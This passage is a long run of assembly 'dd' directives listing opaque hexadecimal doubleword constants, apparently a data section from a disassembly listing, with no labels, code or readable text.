		dd 0E246EAB3h, 72EF760h, 11CEAECCh, 0EB30E798h,	0D51EA649h
		dd 0A3C5E1E1h, 785C0771h
		dd 0A4503B1h, 0FBA64E2Fh, 3711C689h, 741F499h, 815A9818h
		dd 0FE65A3FCh, 93DD206Bh, 0C9C6BFE6h, 6EDF78DBh, 0CFE6765Ch
		dd 7A24FCE9h, 64C0D71Dh, 0E1961368h, 0F65A7C9Ch, 7ABC34C0h
		dd 0EE854B27h, 0A0ACCDE0h, 0D4ACF42Bh, 0F79ABA41h, 4518FFBh
		dd 86B10D11h, 7CC55C7Ah, 0F69EF2D7h, 54F67EBDh,	79B23C47h
		dd 0F4FF2334h, 11C541BAh, 0F3F22C9Dh, 409DDE0Eh, 0ED3E0879h
		dd 0FA8653FCh, 0D64ECEFEh, 1325A4BBh, 0EFAC6047h, 0C83C8308h
		dd 0DD4D4620h, 3E27013Bh, 0E232A6BAh, 0E991FE61h, 9E48563Dh
		dd 0F3702028h, 8288FCF3h, 0ED3C4632h, 0C7D2D0CFh, 0BCE8CA0Dh
		dd 1CE70B39h, 2153CBE7h, 5597351Fh, 464AD95h, 8CAF18BAh
		dd 0A559FC31h, 91E4ABFEh, 437F4C37h, 3ADFE19Eh,	33052EEFh
		dd 0ECF25F49h, 0E3E52C24h, 0A91EC853h, 6BA422A8h, 0DDA914C8h
		dd 0E21FE6B6h, 2D88804Ah, 7FF4AB39h, 48F4A58Fh,	93E72706h
		dd 73CE7415h, 0CB87CE71h, 0BBBC81FAh, 0D3987718h, 0FF56680Dh
		dd 0DEA6D039h, 5D71FB41h, 2DB88C03h, 905E8CC3h,	64EF8435h
		dd 3EBFB7B3h, 80EEF62Ch, 64F2D84Eh, 0CFD38918h,	338B62D9h
		dd 2B4424DFh, 26C72CF2h, 0BB34B9A7h, 56AA1D7Ah,	979C3332h
		dd 792F3D9Ch, 9048ABD9h, 4E5D08EEh, 4899E5B7h, 778D8FE8h
		dd 0FAA40250h, 61705646h, 95AE5155h, 5BE23D79h,	11C2ED1Ah
		dd 2C1C1B08h, 8A3BCC0Fh, 92297489h, 374DB275h, 0D5CDBFDEh
		dd 834A9B4Fh, 0A8230D0Fh, 0D341E8D2h, 471188D1h, 2FB14C1Ch
		dd 89A0FD36h, 67BC3285h, 2D1105C3h, 0AE8D9455h,	55203A5Dh
		dd 0EDEE4DF1h, 0F60B8F7Fh, 91B2CB3Ch, 0F37ECC33h, 5540A400h
		dd 41C05970h, 0A27C2FC4h, 2EA8E566h, 99D65C5Dh,	4F647AD8h
		dd 86C7578Ch, 0D73FD751h, 20E0B94Bh, 0FBEB54EFh, 93A305CAh
		dd 0D2911F42h, 3A420314h, 0A7FA5A85h, 0F058C9E0h, 0D47FF058h
		dd 0ECAE6051h, 0D75A015Eh, 3C095E0Ch, 312F2EC9h, 9CE6A671h
		dd 0AEB40CB3h, 0AFF97C59h, 0FB2A1702h, 300B082Ah, 0F2074713h
		dd 6716455Fh, 803D5BFFh, 0CEF7C8C1h, 21A9BA13h,	0DF57046Ah
		dd 1A2429C6h, 2CDCDBAFh, 19738624h, 0D94A4874h,	0A6190AD6h
		dd 449A2E0Bh, 73CD85A8h, 691652E0h, 716BE342h, 0B01D26A1h
		dd 0D316911Dh, 2182487Bh, 109F0299h, 70A31181h,	83A4F276h
		dd 0B4ADD2F8h, 0DE41C5D5h, 9AD61626h, 0A6EA7D44h, 0EC1EE1Eh
		dd 0E13A03FDh, 2923F4DBh, 85A7EB47h, 30B4E01Fh,	0F60241EBh
		dd 36F20666h, 0D7AAE1D5h, 8120B7E1h, 23133BE0h,	7E56D4B6h
		dd 840DDB41h, 26FB2292h, 0A97B1B1h, 6FB875CBh, 0ECEB2362h
		dd 0A71EB253h, 17252E83h, 0D9217430h, 2734B660h, 5192F30Ch
		dd 759C6EAFh, 412DF141h, 0CAA1A0D8h, 0CF1F64E9h, 5EBB2E1Bh
		dd 5CEB3642h, 42804A2Eh, 0A7730CAEh, 85CD580Fh,	9730150Dh
		dd 0AEE92B81h, 660D2A4Bh, 1A1B8B44h, 0A1F0342Bh, 35431E5Ch
		dd 0BFC68491h, 0B4CA5E8Bh, 6EF3791Eh, 0DBCB8C98h, 0EFB14B7Dh
		dd 85AB3268h, 81082EDAh, 6C39607h, 896D93B1h, 2BD5DD08h
		dd 0D3E42F6Ch, 5EDECAD5h, 0DB4DB0A1h, 1C707773h, 6ADD1275h
		dd 74BDA64Ah, 0E38ADC8Ah, 0F976D74h, 0CF3E39F7h, 0BAA320E6h
		dd 44777BACh, 1E6421ADh, 0CF1FB983h, 37619374h,	4514674Ch
		dd 5AE5C5DDh, 3026B612h, 0EC86B101h, 15DCC00Bh,	0DAA96426h
		dd 7657B08Fh, 92457D91h, 6CF65F40h, 0B56746B2h,	2A4FF5DDh
		dd 9BD51243h, 0A020D075h, 0B6B82307h, 0B6058735h, 0C34AE63Ch
		dd 0D22FF5B5h, 0FC0A0D87h, 4ACB7AB3h, 2E1A42C8h, 808B2561h
		dd 904BB0BDh, 42E339B0h, 1451FB9Eh, 8304C6C2h, 0C3A10FD7h
		dd 9A320155h, 4FC837D6h, 0A30CC6E8h, 847B7C76h,	484C8E9Fh
		dd 0E9B3DF05h, 475B5882h, 67832EC2h, 0BCB2B1AAh, 0C9A8D0B0h
		dd 4B54EE7Eh, 77316586h, 4D44249h, 0F037088Ch, 59995A7h
		dd 4803B0C0h, 920FBB6h,	58B12660h, 1DBA0ED7h, 0FF3A6E88h
		dd 536DFEEFh, 952864FCh, 0CEC82F65h, 653DFF06h,	8B8B098Ah
		dd 3611D189h, 0B6EED186h, 1E422ED5h, 633F892Eh,	0F8CA8E9Ah
		dd 95E40A48h, 55D14868h, 0D7C61B15h, 6E65BB01h,	0D186C79Fh
		dd 0AF4B12FDh, 98576196h, 0EC8C263h, 3F32E5ECh,	0BFF312D7h
		dd 62CBBBACh, 4E1FBC8Ah, 87FC7132h, 0E1477E0Dh,	0EE7E10B7h
		dd 0EFBF517Eh, 0B1C767E1h, 51FEDCE0h, 49C444BFh, 52EBA9C3h
		dd 7E1D9F83h, 6F5BF059h, 7E073BF0h, 0CB3F055h, 858DFA88h
		dd 0A7219EDFh, 0B4F95F2Fh, 0E466D319h, 0AAB8BCCDh, 9E995EBEh
		dd 0AF233257h, 0FE32F330h, 0E6956650h, 8DEFE895h, 75F2D5F5h
		dd 64D96E72h, 0FFDD34F7h, 0C9BCC2BAh, 5FEA66B3h, 246E4D7h
		dd 30EB7F22h, 0D70E7F11h, 82ACF28Ch, 11B70B9Bh,	44DC1F6Eh
		dd 4D03FEB8h, 3F08B7CAh, 0DC36F70Ch, 0C13FB84Eh, 0F7045Dh
		dd 96783DC2h, 97055DC0h, 0EB86670Ah, 5921FF82h,	7F1007BFh
		dd 0B84CDC22h, 0E01AE01Bh, 0C2D6E0DAh, 0C136E039h, 18FB83EDh
		dd 0F5C28EEh, 49DC7F5Ch, 2EE0C34h, 0AE1CBB8h, 55C366E1h
		dd 0ADC135C1h, 0EE0BBB80h, 0C236E13Fh, 57F70ABDh, 12E12FB8h
		dd 19364961h, 173822EEh, 0F386CDCh, 6B70ADDCh, 6DC3D6E0h
		dd 0EE157B81h, 0E1CFB87Dh, 0CA25C18Eh, 6827FA41h, 0B70DBE7Ch
		dd 0B85EEE1Eh, 0FFAE057h, 3C412931h, 844E789Dh,	0C1EB85CBh
		dd 0BA780DF7h, 0D6E0DAE1h, 0F7003DC2h, 704BDC14h, 0C00EE0FBh
		dd 2DF70E7Dh, 0A41A199Ch, 40AE78CDh, 0EEF0CBBCh, 0AB842B82h
		dd 0DC2277C3h, 55F78ADh, 13DC2F77h, 0EDC12F70h,	0DC2BFB83h
		dd 0E16FB811h, 0CF37A0ECh, 0F80F9B81h, 0DC0E9419h, 201770F9h
		dd 51E0992Ch, 7EE14787h, 0DC277709h, 0B826B80Ah, 90B870F9h
		dd 1B85C954h, 1B80E70Fh, 0F701D702h, 0C45CDC34h, 18FB87ADh
		dd 1A765DEFh, 0C62DA2C7h, 57705E52h, 4CECE1C1h,	73E38269h
		dd 2683FA06h, 32EE1DACh, 0D7E007B8h, 0F7819705h, 0C3CF1A7h
		dd 16DC06F7h, 4988FB09h, 0ACA98569h, 5EE047D6h,	0A45D8382h
		dd 6D0F1856h, 0D6A4A585h, 3860E157h, 3851F5AFh,	0CC56F9CCh
		dd 85E056D8h, 56F1CC56h, 856D1498h, 2A6B53CAh, 907059DCh
		dd 0B4C56DE1h, 0D02D1D6Bh, 3E4C2B4Dh, 0A405EDD1h, 22B4A75Bh
		dd 0F77043EFh, 5EE07952h, 0F700DB85h, 5C3D5C3Ch, 4E1C5C17h
		dd 9CF17243h, 35CA2299h, 0A0D6995Dh, 54373756h,	0AB54D7ABh
		dd 6A2D1585h, 534B7549h, 0F54B4363h, 0C69A86B4h, 25328AC9h
		dd 0B9B53E12h, 9EAD42BAh, 5F0F5CD5h, 0A2B7C197h, 9CF646F2h
		dd 0AD2BF113h, 526BAF56h, 1B1B6Bh, 0B2145579h, 0BAA1A1B1h
		dd 3CDF8552h, 5AA96423h, 0A65B7AA1h, 0DFD7D456h, 19949480h
		dd 9AEBB091h, 75C091AAh, 0F722DF31h, 0AA814A09h, 37569536h
		dd 0DF549554h, 0A16EADECh, 3F652F34h, 65FA8982h, 0B7B15FB2h
		dd 5916F9BAh, 0D491599Bh, 0AA2BAA4Ah, 0ABEB6BF2h, 983B5C15h
		dd 0D7E536AFh, 0B9B3E036h, 0C9BF2545h, 2BF208CAh, 71A9BEA9h
		dd 6D6E7571h, 0D8DD4A33h, 6564CB7Ch, 99A2F928h,	9B9B7AA6h
		dd 43541BABh, 110A40C8h, 3DF0640Dh, 4F4B7C97h, 0A4523F07h
		dd 537150DFh, 1950C8B5h, 0AF6E3E4Eh, 0E6453FCCh, 0F46CBE24h
		dd 5F5D5B95h, 0F9D0EAADh, 0C1507A91h, 952F5467h, 5B465790h
		dd 0A5B1BEBBh, 0A1A2A0BAh, 0C5BC550Ah, 56A1AD34h, 0AFA8ADADh
		dd 6A7AB5BDh, 2B2ADE33h, 14514BEAh, 0A85290F4h,	0FAFB8488h
		dd 9BF253AFh, 6B0BABABh, 68AE686Fh, 306945BEh, 34575415h
		dd 34A28F91h, 56D795C4h
		dd 54F54F55h, 2C6CCF34h, 0B5ABD6F2h, 0AB516E53h, 0EAE34795h
		dd 0FAE6D45Bh, 887286EAh, 0E4F432C3h, 4AC6FAFAh, 61536EE5h
		dd 53E2C575h, 2B665792h, 53D25479h, 0A84D53FCh,	0B1B9BBB6h
		dd 85A5BAB2h, 628F8152h, 9A7FCBACh, 0CF011B0Ah,	9285F945h
		dd 537CD8DFh, 0D8045A85h, 2ED4458Ah, 0EE6871C9h, 6C68C5BCh
		dd 1158B945h, 89FC21Dh,	8E456EBh, 6E6E6BCFh, 2794566Ch
		dd 0CFD2914Dh, 0A4ABD46Ch, 0A8F5CBDCh, 0FF18A0ACh, 0D09BDE25h
		dd 7A23CA61h, 0A9FEF0FDh, 92249309h, 0A79439CFh, 0F487DD21h
		dd 8BAD0058h, 55A8AF2Bh, 0DAD2CA51h, 0D5F54586h, 8750DDD7h
		dd 0DD1E2A7Ah, 0A4D00B97h, 4A28B7FBh, 667ED51Eh, 538DE56Dh
		dd 0F694BD1Bh, 96B4D32Ah, 0E5551529h, 0B76AA568h, 2B14ACDAh
		dd 152DB5B9h, 0CF57D437h, 556EA0F4h, 0F2687BB2h, 148528B4h
		dd 0B9BAACB7h, 0A831DB85h, 5547C3E8h, 0F06F6B9Bh, 282DD5AAh
		dd 16F92F79h, 0EB795635h, 0C0CD2479h, 316F83F8h, 40C72CC5h
		dd 62D25C6Ah, 5ACAA418h, 132475B4h, 16E31F7Ch, 0B1D7E6A4h
		dd 0B7BD30C3h, 35555726h, 651417A3h, 20478985h,	0EAC6FEBAh
		dd 950D69AAh, 7137D5CDh, 0F466DD2Bh, 0F88EADCFh, 0A563CCDFh
		dd 968C5AA4h, 6EEDA275h, 0AC9DAA6Ah, 7D3D463Ch,	0D1BA5A23h
		dd 71895CDBh, 26973F77h, 6857EDFAh, 93DFEBECh, 0B8F5FB95h
		dd 618F9728h, 86F3514Bh, 0B1959345h, 5BD2CA54h,	9BEAD45Ah
		dd 57E1AA8Ah, 89DE7289h, 0C6F00F71h, 95BD445Bh,	6BD34C9Bh
		dd 0D667EBEBh, 0ACDD54DEh, 0A6C3D6ACh, 0B729A255h, 0D517B7A2h
		dd 0AD60D0B6h, 56A168AFh, 31D4E66Ch, 9B1A5BABh,	95EB2B27h
		dd 258AE6DCh, 0CC3CAA0Ch, 8B5579EFh, 0CC5BE50h,	9593FE45h
		dd 55ED184Dh, 8D8198B9h, 14BB948Bh, 71A532F1h, 0B9A2BBA9h
		dd 4AC9A6E2h, 9692DC55h, 0AD551426h, 250C0C99h,	5628AD46h
		dd 40C9D2DEh, 35D5B9EDh, 5A5B93E2h, 0DC993651h,	18AA2D8Dh
		dd 3FB1D102h, 228BDA35h, 69A2CE48h, 0CF28A55h, 3EC288C7h
		dd 596A2A64h, 0F8418674h, 0BABB9347h, 0EC28C6FAh, 0A2DF1A30h
		dd 34B59461h, 0D42A9AFEh, 3C344F4Ah, 73666E2Fh,	3D4B4345h
		dd 153D2D0Ah, 0AFCE59E5h, 0E7AB5BD8h, 4692A589h, 1BE91E9Eh
		dd 0ADCCD213h, 5D0D345Fh, 0E6217182h, 80FBE1A6h, 0F4BBB089h
		dd 2BFAC488h, 0FE7346FBh, 4CCA90D6h, 0CAC9C0E0h, 8E90D3Fh
		dd 59B8A29Fh, 0FA7DCD0Dh, 68F475EFh, 4B45757Dh,	0E554EE75h
		dd 55318E2Bh, 0E9A14F39h, 8CE3833Fh, 968B1AA0h,	1A46C2Ch
		dd 0ECB8E624h, 5216C683h, 22D69BC5h, 5B6ACB3Eh,	951F316Ah
		dd 7F408278h, 9E7EA0D2h, 515DDB7Ah, 8FBE34Bh, 0BEB53FA5h
		dd 3425FE16h, 5329FBF7h, 19069A50h, 0CFB4657Ah,	0A4FF4E64h
		dd 5637E53Ah, 83CB917Ah, 402C22A6h, 572A8072h, 0F7956144h
		dd 40C9D528h, 49E09199h, 0E7CE50D1h, 3A644572h,	7314B1B3h
		dd 73631AADh, 5155CF24h, 0D74DC7C2h, 54B4D4D5h,	7B29228Bh
		dd 0BD9BBC95h, 51FCF515h, 0B69E62Ch, 0DCFBF9DEh, 164BCD68h
		dd 71719521h, 25C69EA5h, 365E997Ah, 0D69D5B9h, 58F99522h
		dd 0AA0A1A17h, 2DFE69EBh, 5188FB44h, 11ADED1Eh,	30353F94h
		dd 0C56667FAh, 5845D40Dh, 0CC76F429h, 56B4206Bh, 0E8677CA5h
		dd 80A5041h, 0ADA9EA9Fh, 144C52AFh, 2DF57A7Bh, 2B542E44h
		dd 0D8BE8A05h, 1AD31E52h, 0C96B18AAh, 214C04E9h, 9B14C573h
		dd 0F917DCACh, 0A26EAEAAh, 1AB38D98h, 0A1EB236Ah, 9F005CA2h
		dd 3CEF8669h, 68ACCF7Ch, 89B80CC1h, 0E8DC9957h,	8A5240B7h
		dd 0FF223E15h, 6A2D0D69h, 0A3610345h, 0EBA25932h, 16AB7180h
		dd 6ABD62D7h, 94C2AFACh, 10F61071h, 45596C4Bh, 710D17BDh
		dd 92F0F916h, 9328EA86h, 0CC4D0BE9h, 0D1DD3481h, 89CE144Eh
		dd 2EBC8001h, 6D221F26h, 0D139F7E4h, 5933E134h,	0BCEFA749h
		dd 324DEF06h, 66FA72FCh, 0EA9A27B2h, 931A4338h,	10B10995h
		dd 0EDCDDF08h, 0B6B8BD5Eh, 456A7AB2h, 51328B53h, 16FA87D6h
		dd 0B137AF1Dh, 99578832h, 4D25EADAh, 0DE6ACD8Dh, 507FC52h
		dd 0D27B1D15h, 0D0A99867h, 62E636ADh, 0D2553AEFh, 4A629817h
		dd 0A2ED8D05h, 402C268Ah, 0BE953168h, 0D4B4A4FAh, 2527DA54h
		dd 0BAEA11AFh, 77E445E6h, 0FA4A144Bh, 30F1F438h, 7FF2B275h
		dd 0DFEFFEFFh, 56BF9AFFh, 3638DDDCh, 7BD30A5h, 7D2DDA4Fh
		dd 2121C39h, 7F058F3Ah,	1363B774h, 0E164D1DCh, 24F77F4Fh
		dd 30F845C4h, 58710EE4h, 8E9A329Ch, 5DF2FB71h, 10C9B610h
		dd 0C447E9F7h, 77A4FEFBh, 46C5DE92h, 2D6DD290h,	78DC504Fh
		dd 0DDC035AEh, 0BFBC5EBAh, 0D241F49Fh, 0E51C0301h, 32EC1B3Ch
		dd 966D14E2h, 3EC4C3CFh, 73F3470Bh, 9FF9D21Bh, 490215FEh
		dd 12D88760h, 8B0338F1h, 8952B269h, 0B4AD57Fh, 6E54CDFEh
		dd 4EF09A51h, 59A56E7Fh, 0B8545469h, 2728B84Ah,	37E104A6h
		dd 0F8610871h, 4F52C446h, 0D9E377F1h, 2167FD2Ch, 0DE9230A4h
		dd 0FE20E452h, 2F653972h, 0D2B54E2h, 0B7C05612h, 7B19A7C0h
		dd 0D30E0ACCh, 0A6F8DCFFh, 0B4E12E32h, 73CA62ABh, 0E6A9D233h
		dd 6A54CC92h, 7C235639h, 0D0EB9A44h, 6C25E3A7h,	0E11B749Ch
		dd 0AF7D9167h, 9F81EDFBh, 6459C255h, 9F861D73h,	0C28EF39Dh
		dd 0AD2FC0F5h, 7E729C0Fh, 8FA3BA51h, 197E1D9Fh,	0C346FC7Dh
		dd 3F1F746Fh, 0F6C6FC17h, 3F0D9BF1h, 2653F398h,	99E59E4Ah
		dd 0B00B83B8h, 16E52E0Eh, 7D9C16A7h, 6239BF1Ah,	666A408Eh
		dd 96A8CB54h, 0A90B738Bh, 7798942Bh, 447C5CEFh,	6EFF6D79h
		dd 0EC55539Ah, 2935B0EFh, 71BE6C6Fh, 1BF51601h,	0D383C541h
		dd 0CA36DCA8h, 7B3F5599h, 0F8E728DCh, 0B365CFC8h, 0FA5E45C9h
		dd 0D4CAE5BAh, 0B969D2C2h, 9B288628h, 70C0EE43h, 134368EFh
		dd 0EAD2E3C8h, 0CDD5C5E6h, 0AC619799h, 0AB345536h, 8A24B62h
		dd 0D29919F2h, 0EA7F5542h, 0D27DC5F7h, 0E9E83CE2h, 2A232E6Dh
		dd 0FFA69519h, 826755F5h, 6E499433h, 56BEB0D8h,	42AE7163h
		dd 2FB64001h, 0E913062h, 63E9118Dh, 2DE6774Ch, 0D73BB44Dh
		dd 0E5F02BE3h, 0E0DA6310h, 531760B8h, 0B6D514AFh, 0B360A54h
		dd 0E9049F1h, 18EB1812h, 667D03C5h, 0DFD6363h, 0D4A74B8Dh
		dd 345537AAh, 32F421A1h, 40D3EDCEh, 0E51275B1h,	0BD5CE7E2h
		dd 30A9CAD6h, 0F4A77A67h, 0DD0AF20Bh, 0DA62DA7Dh, 5086D84Dh
		dd 3957541Fh, 5F3562A6h, 4B5CD8D4h, 18990658h, 8091834Bh
		dd 292BCB76h, 0CDD769Dh, 0A7726A1Eh, 9ACA691Bh,	725052C6h
		dd 4C05FF93h, 6202386Ch, 69DCA1E8h, 0C9C2EEA5h,	5A99473h
		dd 15F9C45h, 0ABCF4B4Ah, 161A2B0Ah, 9CD75495h, 0D99E9C79h
		dd 18E02D1Fh, 0D16390E7h, 0FA7FFEF0h, 4784036Fh, 86ADC1D6h
		dd 5B70A5Bh, 0C14FFDE7h, 1F770C3Dh, 0B16ADADCh,	0E40A846h
		dd 29AB70FBh, 21F026E1h, 7BE05F95h, 7C26FC8Fh, 514B8AF2h
		dd 2F1DF1EAh, 0A0CC2ACFh, 9BF23CF1h, 14B3CC60h,	26FCA765h
		dd 0DF1E333Ch, 0F19BF21Dh, 0F390CDE1h, 0C18537C6h, 73B2921Ch
		dd 51B28272h, 0AC6E137Eh, 365048A9h, 0B38A6FC8h, 0E504E6FEh
		dd 0F30DF961h, 0CB67CA58h, 0F2759412h, 0F78EEE9Bh, 0B28D79DEh
		dd 6614DF16h, 4D75F2A3h, 0EFCB5653h, 0B6BDF401h, 0DF95694Ch
		dd 94DC24h, 0F8A5F22Dh,	0FAF8944Eh, 122BC7FEh, 0A277E49Ah
		dd 21C7BCE1h, 168F67C3h, 235D386Bh, 24649B3Eh, 374ABAE4h
		dd 0BE1816B4h, 7497FF4Dh, 0B7FE3FFAh, 0E1B59E45h, 97594124h
		dd 816B4A0h, 10B2B8BEh
		dd 0D83B1A4Fh, 0BF52B424h, 75BC15AFh, 5A0FD605h, 36CCCC69h
		dd 26BB6389h, 0EBA1E093h, 0D44A50E9h, 0E0CFAB8Fh, 0FC19F0FFh
		dd 1FE29F37h, 340E7A0Fh, 0C2DFFC1Dh, 0FBE78833h, 0FAB83C49h
		dd 0F8E10DC0h, 5E2352D0h, 0E5F502BFh, 2BDE3A56h, 0D50573C0h
		dd 15154F03h, 0ADE225C0h, 0E2D73C5Eh, 0C8138B9h, 4BAD2904h
		dd 73C0ECF0h, 0F0079E29h, 2ECF05BCh, 0A2A2573Ch, 0F5A57896h
		dd 7564C65h, 0CCF05B9Eh, 78CFF3C2h, 8ADCF1BAh, 6DCF07A7h
		dd 0D6A46E16h, 0E1D73C0Eh, 8DCF1DB9h, 8FD6A7F1h, 0D3F89969h
		dd 69F0FBD7h, 6261FBFCh, 0F6C7C4F6h, 316FEE8Fh,	0F53FDE9Fh
		dd 0CFA3FE0Ch, 6759FE0h, 0F83382FFh, 0BF833ECFh, 4BFE0CE7h
		dd 0FABFE0CFh, 0CEEBFE0Ch, 0CE1BFE0h, 0E0CF9BFEh, 0FE0CE7BFh
		dd 1FE0CE07h, 0CF7F833Ch, 92DFC19h, 33FF6867h, 833E8FF8h
		dd 0FC19D67Fh, 3FE0CE0Bh, 9EFE0CFBh, 3D2FF833h,	0F86AFF83h
		dd 0E702BE8Fh, 0FB0C33ADh, 77A1C29h, 5C2BFB8Dh,	1C3412A1h
		dd 0E3F06FDAh, 9C80D0ACh, 0D7726227h, 0DDF7BE19h, 362E5269h
		dd 883EE7C0h, 7A433273h, 0BC4C135Dh, 36FFD0DFh,	0C32AFBE2h
		dd 388FF9B7h, 0F77C34EFh, 53B383DCh, 0EFB3FA43h, 0F7C37C43h
		dd 8671FBFAh, 3DC0206Bh, 3BF389FFh, 7E5BFE43h, 435DF381h
		dd 5E91AB7Ah, 3C7BE183h, 9E332FE0h, 0B3BCA363h,	7EBBF10Dh
		dd 0BE19FA83h, 0B38A3E17h, 0C3F7C364h, 699671EBh, 2DF8CEF8h
		dd 662A3C2h, 1F5C5CCAh,	6E10C1BDh, 0CCC2BA6h, 7ED1A3DFh
		dd 7BFC86C9h, 0C6B5A8A1h, 0B4249F50h, 70EC1CDEh, 0D36AD0F2h
		dd 0A6789270h, 0B98001BFh, 4D70F780h, 0B1533FBCh, 973DA2D3h
		dd 0E066B119h, 0D737FD4Dh, 6F806180h, 37631650h, 0AA148F57h
		dd 0C5376EB0h, 7C0B7AA4h, 0B0D7A844h, 243D43FBh, 0D1E761BDh
		dd 7AD02A25h, 880AE66h,	0F156D6Ch, 8E9787FAh, 0C93C0E8Eh
		dd 71FFCC27h, 0D078BD35h, 0CFC2F23Fh, 0B84B2592h, 592C9659h
		dd 0F561BCDAh, 493C56EAh, 9C9E8989h, 86EFC214h,	6EEBB843h
		dd 923BEACBh, 0EEFBA896h, 0B3C1AC4Eh, 83DDDF70h, 0EFBA5CF0h
		dd 91F85C15h, 0D974B494h, 5E2377F9h, 0CF5BD2D2h, 3BBF8D5Fh
		dd 0FA3F3696h, 0A40EF9CAh, 0DF763BD2h, 0E54A0E2Bh, 47CF47D1h
		dd 7E964B2Ah, 2E7D117Fh, 0FC200259h, 0CFE69516h, 49D4938Ch
		dd 244FD93Fh, 55EFA99Dh, 4E86B22Dh, 91C812F0h, 7ECEEFF2h
		dd 0AB8B2FC2h, 643B0E14h, 0DFCE8DBh, 0B4497F7Dh, 36FE5D3Dh
		dd 46E744D6h, 0A3836D38h, 8E25B8B1h, 0FD7903CEh, 9744F8E1h
		dd 0FD051339h, 0C44F7FA7h, 0DBE19A77h, 2E68289Eh, 6D709BFDh
		dd 709BE1ABh, 0E8A78917h, 0B125B3DFh, 4546F916h, 0BF44863Ah
		dd 1CA04753h, 0BBF7E8B6h, 193F0117h, 0F2A7A3D2h, 71DBF0BFh
		dd 633EA3Eh, 9E7507F8h,	57682718h, 94F037F1h, 9F2A94D1h
		dd 5DE1169h, 0C9EDA0E2h, 0D9AE9E9h, 38F9E879h, 4276C880h
		dd 1AE8CECh, 798C536Dh,	87929FC4h, 21F68953h, 0AEE06FF3h
		dd 0FF57FA46h, 94E23CCBh, 0D6998BAAh, 0A68EF6E1h, 1E4A789Ch
		dd 0E3A9F205h, 0D2BDA4Bh, 0F7604CF2h, 2BC479D3h, 31825F0Fh
		dd 5316FD42h, 0F253B8FAh, 3A9F2858h, 3738A03Eh,	0FD370EA1h
		dd 15987ACBh, 0D9C2352Bh, 8D834B18h, 929CD479h,	0BCF952C7h
		dd 0B4B9C74Fh, 37FA414Dh, 0C63C8BFFh, 0ECA09F9Fh, 991B15C9h
		dd 79A2FD85h, 41834E38h, 7ECD56C8h, 0FCA36394h,	0D724DB26h
		dd 65EBFD23h, 0E0DE901Eh, 4CBCC43Ch, 7191E48Ah,	0AFB2A27Eh
		dd 0A8CF048h, 0BA756D0Ch, 9A06C6FDh, 3B684047h,	7F3D37E5h
		dd 167FF486h, 0DA7CC3C9h, 3F3A8C7Ah, 0D2A6B229h, 0E04FFC77h
		dd 4E850EDBh, 3CE3C04Fh, 4EE23D43h, 1B0A5FC3h, 0F90CBAFEh
		dd 0EE6595AFh, 0DA9303E8h, 0BF29DBE7h, 0F40E9FA9h, 0AFFD309h
		dd 0FFAFE0CEh, 0B3F7BDADh, 6F75D682h, 4CD5FE0Eh, 474AF7E5h
		dd 0E949CB3Fh, 0E6D7EF7Fh, 0FC18D61Fh, 0B2FEF2F5h, 0F4957F8Fh
		dd 0B3BC6F3Fh, 0E06FF37Ah, 0F7FC265Fh, 0EAAEFF48h, 0F6D857F5h
		dd 0FEF839BCh, 1FC7146Fh, 3393595Fh, 0E52AE256h, 0ED31B4D1h
		dd 7839BD9Fh, 0FF842FFDh, 4F7FE95Ah, 4B74F29Fh,	0F8FB7BFFh
		dd 0EE3896CFh, 0B7FC7D17h, 39A77F48h, 0F82FD22Eh, 0DBD38FCBh
		dd 49BF8FB7h, 896EA5CEh, 0D68609FBh, 5712D9BEh,	5084EDE9h
		dd 0D92EFEEEh, 1CACFAD6h, 55A8B4A7h, 0ECBBB710h, 6FEB562h
		dd 0B741C132h, 0ABDC62F4h, 4966C712h, 431A3F5Ch, 61E03EF7h
		dd 1A1F65E2h, 89DCFC20h, 0FDEDF4D1h, 1D121C24h,	0E2818Fh
		dd 108B01ECh, 40A0F27Ch, 0ED92E0EBh, 942F851h, 0F4E125BFh
		dd 7C5F7BFDh, 39E69FD4h, 0B3C01F3Dh, 1FCE493Eh,	28983194h
		dd 8BA25C68h, 0FD984A17h, 59B608D8h, 7853FBC5h,	0EC7A87DFh
		dd 978D6993h, 0F7C5EA75h, 39972803h, 0DEF3629h,	0E88F8156h
		dd 0D1E9173Dh, 7138ABDh, 0C823EF89h, 0E62EDBAFh, 0D3C8BBC7h
		dd 0D45CF78Dh, 0BF0497B1h, 116C9610h, 0AFE0CB70h, 869A0DA2h
		dd 22A09C08h, 0A0AB6E9Dh, 0AC20B7F5h, 0C237710Dh, 140C36Fh
		dd 3658E64Fh, 14D18D23h, 0A5FB3886h, 976CA17Fh,	85AD8464h
		dd 0ACBFB87Bh, 82DDA03h, 0B4706877h, 8D8466ECh,	9434DC47h
		dd 0ADFC2775h, 19E08443h, 0BBE37585h, 0C9A08067h, 16769193h
		dd 770853DCh, 41E8BEC9h, 0FA411C1Bh, 0DB63035Dh, 0D284A6C2h
		dd 91EC91A6h, 0A522DF5Ah, 39F5CA09h, 0C76B2834h, 5BB3E20h
		dd 4CCE9253h, 0CFAE5411h, 0BDD65B23h, 495C9FBFh, 40D10AB2h
		dd 0CE0D2E7Dh, 0F80D7A5Ah, 65636A9Fh, 6A21BD63h, 6A73EB9h
		dd 0CCAC7567h, 882B50ADh, 0D70C6A1Fh, 0ACA0D6E7h, 60B35FFCh
		dd 9F50218Eh, 0EF59095Fh, 2A34EA4h, 5B9F5E03h, 0BB7EB203h
		dd 58FC9725h, 5CA5A7BAh, 0ACE65B9Fh, 6F233F3Dh,	744EAD7Dh
		dd 5B555D4Eh, 0A1B1A339h, 47523CBAh, 4D67739Bh,	0A449256Dh
		dd 0CB062FD4h, 102200AFh, 7F3BFAD1h, 92B6B1BFh,	757844BCh
		dd 0D59E3455h, 6D7372B9h, 938F94A5h, 8B2E42BCh,	44E797F3h
		dd 0A2111FCh, 0F947535Fh, 849B9CB0h, 69D434Fh, 13DA2F3Ah
		dd 4A887F1h, 338F4BD5h,	0AD9FF9D4h, 5D595614h, 0A5D3654Bh
		dd 43E122FCh, 0CA5EDF9Ch, 16F6765h, 0CDA32C67h,	5B503E39h
		dd 0CA8FE909h, 750D3148h, 0C68BD9FBh, 21DE3D30h, 39C92994h
		dd 0DC5E021Eh, 0D8B28603h, 35E688BFh, 0BED891B5h, 522AA914h
		dd 6D5B673Fh, 67C82CE5h, 4054D754h, 0B7F7453Ah,	53C59738h
		dd 1D10743Eh, 8CCB7D85h, 95B7007Eh, 0DE965DE4h,	0B66E342h
		dd 6CE7EDF2h, 34690B3Eh, 0B8D0D8DCh, 0A0ED01A4h, 0CE7EA78Fh
		dd 0D2037A1h, 3FC1B091h, 8CF579C1h, 99FCCADAh, 0C59F836Eh
